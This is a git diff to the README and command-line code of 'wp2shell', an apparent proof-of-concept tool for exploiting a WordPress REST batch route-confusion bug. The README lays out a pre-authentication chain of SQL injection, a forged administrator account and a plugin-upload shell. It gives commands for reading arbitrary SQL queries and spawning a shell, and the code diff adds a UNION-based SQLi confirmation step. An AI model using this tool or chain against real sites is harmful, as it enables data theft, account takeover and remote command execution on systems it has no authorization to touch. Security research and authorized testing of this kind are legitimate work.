diff --git a/README.md b/README.md index 253be07..56a8682 100644 --- a/README.md +++ b/README.md @@ -43,7 +43,7 @@ The PoC nests the primitive twice: `author__not_in` query var, which the vulnerable build interpolates into SQL as a string. The result is a boolean- and time-based blind SQL injection reachable pre-authentication. This PoC -also includes the stronger UNION fake-post primitive used by the SQLi-to-admin chain. +also includes the UNION fake-post primitive used by the SQLi-to-admin chain. The RCE path implemented here is: @@ -53,10 +53,10 @@ The RCE path implemented here is: 4. In one poisoned batch request, recast those IDs as a customizer changeset, navigation item, and request hook shape. 5. Let the same request reach `POST /wp/v2/users`, creating a generated administrator. -6. Log in as that generated administrator and use normal plugin upload behavior to run a command. +6. Log in as that generated administrator and use plugin upload behavior to run a command. -The last command-execution step is ordinary authenticated administrator plugin upload. The -pre-authentication part is the admin creation bridge. +The command-execution step is authenticated administrator plugin upload. The pre-authentication +part is the admin creation bridge. ## Requirements @@ -72,7 +72,7 @@ Run it from the repository directory: Or `pip install .` to get a `wp2shell` command on your `PATH`. -### check — confirm the vulnerability (safe) +### check — non-destructive vulnerability check Prints passive WordPress markers and public version hints first, then sends a benign batch marker probe. A vulnerable batch implementation returns HTTP 207 with the route-confusion marker pattern @@ -86,20 +86,20 @@ the parse error shifts the batch handler arrays out of step, so the spacer reque under the block-renderer handler. Fixed builds keep the arrays aligned, so this exact all-three pattern should not appear for the crafted probe. -By default, `check` stops there and does not send a SQL timing payload. Use `--confirm-sqli` when -you also want the active paired timing confirmation. The timing step reads no data and changes -nothing; it sends three baseline/delayed pairs by default and decides on the median delta. +By default, `check` stops there and does not send an SQLi payload. Use `--confirm-sqli` when you +also want an active SQLi confirmation. The confirmation tries the UNION read primitive first and +falls back to paired timing probes if UNION reflection is unavailable. -Treat the signals separately: an affected public version is strong triage evidence, the batch -marker pattern confirms the vulnerable route-confusion behavior, and timing confirmation proves the -SQLi path reached the database. A WAF or edge rule can block the timing payload, so a failed timing -check does not override a positive marker probe. +Treat the signals separately: a public version hint is only a hint, the batch marker pattern checks +for the route-confusion behavior, and `--confirm-sqli` checks whether an SQL payload reached the +database. A WAF or edge rule can block the active SQLi payload, so a failed SQLi confirmation does +not necessarily mean the route-confusion bug is absent. ``` ./wp2shell.py check http://target ``` -### read — extract data (blind SQL injection) +### read — extract data through SQL injection ``` ./wp2shell.py read http://target # server fingerprint @@ -107,9 +107,9 @@ check does not override a positive marker probe. ./wp2shell.py read http://target --query "SELECT @@version" ``` -By default extraction is `--technique auto`, which picks the fastest in-band method that works: +By default extraction is `--technique auto`, which tries the available methods in this order: -1. **union** — forges a fake `WP_Post` row and reads its reflected title: **one request per value**. +1. **union** — forges a fake `WP_Post` row and reads its reflected title. The source request targets the single-post item route (`/wp/v2/posts/999999`), so the collection-only params `author_exclude`, `orderby` and `per_page` ride through unchecked; the inner desync dispatches it under the posts *collection* handler, where `orderby=none` removes the @@ -120,17 +120,13 @@ By default extraction is `--technique auto`, which picks the fastest in-band met MySQL errors (e.g. `WP_DEBUG_DISPLAY` on). 3. **blind** — boolean/timing binary search, ~8 requests per character; works with no reflection. -Force one with `--technique union|error|blind`. All three are strictly **read only**. The union -path also demonstrates fake-`WP_Post` object-cache poisoning: the forged row is added to the `posts` -cache for the rest of the request, and its `post_content` blocks render through REST (which enables -unauthenticated SSRF via RSS/oEmbed blocks). A full password hash is ~2 requests with `union`, ~7 -with `error`, versus ~490 blind. +Force one with `--technique union|error|blind`. These read paths do not write database rows. The +union path adds the forged row to the `posts` cache for the rest of the request. ### shell — command execution With `--user` and `--password`, `shell` logs in with supplied administrator credentials and uses -normal WordPress plugin upload behavior. This mode would work the same way on a patched site where -those credentials are valid. +WordPress plugin upload behavior. Without credentials, `shell` first runs the pre-auth SQLi-to-admin bridge, logs in as the generated administrator, then uploads the plugin shell. @@ -153,9 +149,9 @@ administrator, that generated account is removed automatically after the shell s | `--rest-route` | check, read | Use `/?rest_route=/batch/v1` (for sites without pretty permalinks). | | `--proxy URL` | all | Route traffic through an HTTP proxy (for example, Burp). | | `--timeout N` | all | Request timeout in seconds. | -| `--sleep N` | check | Delay used with `--confirm-sqli`. | -| `--samples N` | check | Timing pairs used with `--confirm-sqli` (default 3). | -| `--confirm-sqli` | check | Also send the active SQL timing confirmation payload. | +| `--sleep N` | check | Delay used by the timing fallback for `--confirm-sqli`. | +| `--samples N` | check | Timing pairs used by the timing fallback for `--confirm-sqli`. | +| `--confirm-sqli` | check | Also send an active SQLi confirmation payload. | | `--preset` | read | `fingerprint` or `users`. | | `--technique` | read | `auto` (default), `union` (in-band, forges a fake post), `error` (in-band, needs visible DB errors), or `blind`. | | `--query` | read | A scalar SQL expression to read. | @@ -181,3 +177,4 @@ written permission to test. No warranty is provided and no liability is accepted - WordPress 7.0.2 release announcement — - Searchlight Cyber wp2shell advisory — +- sergiointel/wp2shell-poc SQLi-to-admin bridge — diff --git a/wp2shell/cli.py b/wp2shell/cli.py index 185eb67..af5f93e 100644 --- a/wp2shell/cli.py +++ b/wp2shell/cli.py @@ -87,10 +87,11 @@ def _print_version_hints(client: BatchClient) -> tuple: info("Public WordPress version hints:") for hint in hints: - print( + line = ( f" - {hint.version} via {hint.source} " f"({version_status(hint.version)}) - {_short(hint.detail)}" ) + print(_paint("33", line) if hint.affected else _paint("32", line)) if any(hint.affected for hint in hints): warn("A public version hint falls in the wp2shell affected range; verify internally or confirm with authorization.") return hints @@ -124,7 +125,7 @@ def cmd_check(args: argparse.Namespace) -> int: if route_confusion: good("VULNERABLE — batch route-confusion behavior detected.") if not args.confirm_sqli: - info("SQL timing confirmation not sent; use --confirm-sqli for the active SQLi probe.") + info("SQLi confirmation not sent; use --confirm-sqli for the active SQLi probe.") return 0 elif not args.confirm_sqli: bad("Route-confusion marker pattern not detected.") @@ -132,6 +133,12 @@ def cmd_check(args: argparse.Namespace) -> int: warn("Version suggests exposure, but the batch marker probe did not show vulnerable behavior.") return 2 + union = UnionSQLi(client) + if union.available(): + good("SQLi confirmed — UNION fake-post read returned data.") + return 0 + info("UNION SQLi confirmation unavailable; falling back to timing confirmation.") + result = BlindSQLi(client, sleep=args.sleep).confirm_timing(samples=args.samples) if args.samples > 1: details = ", ".join( @@ -372,18 +379,18 @@ def build_parser() -> argparse.ArgumentParser: "--sleep", type=float, default=3.0, - help="SQL timing delay used with --confirm-sqli (default: 3)", + help="SQL timing delay used by the --confirm-sqli fallback (default: 3)", ) check.add_argument( "--samples", type=int, default=3, - help="baseline/delayed SQL timing pairs used with --confirm-sqli (default: 3)", + help="baseline/delayed SQL timing pairs used by the --confirm-sqli fallback (default: 3)", ) check.add_argument( "--confirm-sqli", action="store_true", - help="also send the active SQL timing confirmation payload", + help="also send an active SQLi confirmation payload", ) check.set_defaults(func=cmd_check)